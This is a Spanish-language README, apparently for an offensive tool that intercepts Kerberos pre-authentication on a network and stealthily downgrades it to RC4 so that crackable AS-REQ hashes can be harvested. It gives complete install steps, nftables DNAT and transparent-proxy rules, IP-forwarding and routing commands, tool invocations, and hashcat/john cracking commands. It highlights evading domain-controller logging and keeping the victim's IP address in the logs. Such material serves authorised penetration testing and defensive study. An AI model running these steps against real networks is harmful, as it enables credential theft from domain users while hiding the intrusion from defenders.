
Una herramienta para recolectar hashes RC4 mediante ASREQroasting de forma sigilosa
cerber4rc degrada los mensajes de preautenticación de Kerberos al forzar a los clientes a cifrar sus marcas de tiempo AS-REQ usando
ARC4 (RC4), mientras sigue autenticándose contra el controlador de dominio usando cifrados seguros — en otras palabras, realiza
un roasting de AS-REQ basado en RC4 de forma sigilosa. El hash capturado ($krb5pa$23$) es mucho más rápido de crackear que
los mensajes AS-REQ cifrados con AES, y no se registran eventos de seguridad relacionados con cifrados inseguros en el controlador de dominio.
La herramienta también soporta proxy transparente para que se preserve la dirección IP de origen de la víctima.
$ pipx install git+https://github.com/synacktiv/cerber4rc
$ git clone https://github.com/synacktiv/cerber4rc
$ cd cerber4rc
$ python3 -m venv .venv
$ source .venv/bin/activate
$ pip3 install .
$ python3 -m cerber4rc
Para usar la herramienta, primero debe haber obtenido una posición de Man-in-the-Middle (MitM) que le permita interceptar el tráfico Kerberos de sus víctimas. Esto se puede lograr de varias maneras, por ejemplo:
[!IMPORTANT] La máquina que se ataca debe estar configurada para admitir RC4; de lo contrario, el downgrade fallará, lo cual es detectado automáticamente por la herramienta. Esto no es un requisito previo en el lado del KDC: si la estación de trabajo que se está atacando anuncia RC4 como un etype, pero el controlador de dominio no admite el cifrado RC4 para la preautenticación Kerberos, el ataque seguirá funcionando.
Una vez que esté recibiendo tráfico Kerberos, la idea es aplicar DNAT al puerto 88/TCP hacia un socket TCP local en el que la herramienta esté escuchando. Esto se puede hacer con las siguientes reglas de nft:
$ cat /etc/nftables.conf
[...]
table inet nat {
chain prerouting {
type nat hook prerouting priority dstnat; policy accept;
ip saddr <ip_target_1> tcp dport 88 dnat ip to <local_ip>:<local_port>
ip saddr <ip_target_2> tcp dport 88 dnat ip to <local_ip>:<local_port>
[...]
ip saddr <ip_target_n> tcp dport 88 dnat ip to <local_ip>:<local_port>
}
}
[...]
$ sudo nft -f /etc/nftables.conf
Tu máquina de ataque también necesita permitir el reenvío de IP, lo cual se puede habilitar de esta manera:
$ sudo sysctl net.ipv4.ip_forward=1
[!NOTE] Si estás usando la herramienta en modo
--transparent, se requiere una configuración adicional, la cual se describe en la sección de proxy transparente.
cerber4rc permite la interceptación pasiva de mensajes de preautenticación Kerberos con el flag --relay. Derivará hashes en función del etype que las víctimas estén usando para cifrar su marca de tiempo de preautenticación (AES o RC4).
$ cerber4rc --kdc-host <dc_ip> --listen-host <local_ip> --listen-port <local_port> --relay
cerber4rc admite dos modos diferentes para la interceptación activa: un proxy TCP normal (modo predeterminado) y un proxy transparente (indicador --transparent).
Este modo es el comportamiento predeterminado de la herramienta. "Divide" la conexión en dos partes distintas al terminar la conexión TCP del lado del cliente y crear una nueva conexión TCP hacia el controlador de dominio (DC). Desde una perspectiva de red, el DC ve la IP de la máquina que ejecuta cerber4rc, lo que en entornos endurecidos y maduros puede activar reglas de detección.
$ cerber4rc --kdc-host <dc_ip> --listen-host <local_ip> --listen-port <local_port>
Este modo se puede habilitar usando el flag --transparent. Crea un proxy transparente, lo que requiere la capacidad CAP_NET_ADMIN, o que la herramienta se ejecute como el usuario root. Esto permite preservar la dirección IP de la víctima al degradar los mensajes de preautenticación de Kerberos: los registros de eventos generados en el KDC para las solicitudes de TGT contendrán la dirección IP de la víctima, y no la de la máquina del atacante que ejecuta cerber4rc.
Para que este modo funcione, se requiere una configuración de red diferente. En primer lugar, es necesario crear las siguientes reglas de nft:
table ip tproxy_kerberos {
chain divert {
type filter hook prerouting priority mangle; policy accept;
socket transparent 1 meta mark set 1 accept
meta l4proto tcp th dport 88 tproxy to :<cerber4rc_listening_tcp_port> meta mark set 1 accept
}
}
A continuación, es necesario definir la siguiente regla de enrutamiento de políticas y la ruta:
$ sudo ip rule add fwmark 1 lookup 100
$ sudo ip route add local 0.0.0.0/0 dev lo table 100
cerber4rc se puede ejecutar entonces con el flag --transparent, como root o concediendo la capacidad CAP_NET_ADMIN a tu intérprete de Python:
$ cerber4rc --kdc-host <dc_ip> --listen-port <tcp_port_of_your_choice> --transparent -o /tmp/hashes
Los hashes capturados se registrarán por defecto en los archivos <current_timestamp>-hashes_hashcat y <current_timestamp>-hashes_john en el directorio actual. Este comportamiento se puede
cambiar con la opción --hash-logfile (-o). La herramienta comprobará primero si tiene los permisos correctos para escribir en la ubicación seleccionada y, de lo contrario, saldrá.
Para crackear los hashes recolectados, puedes usar john o hashcat con las siguientes opciones:
# RC4 (etype 23)
$ john --wordlist=rockyou.txt <path_to_john_hashes>
$ hashcat -m 7500 <path_to_hashcat_hashes> rockyou.txt
# AES (etype 17/18), captured when RC4 downgrade is not available
$ john --wordlist=rockyou.txt <path_to_john_hashes>
$ hashcat -m 19800 <path_to_hashcat_hashes> rockyou.txt # etype 17, AES-128
$ hashcat -m 19900 <path_to_hashcat_hashes> rockyou.txt # etype 18, AES-256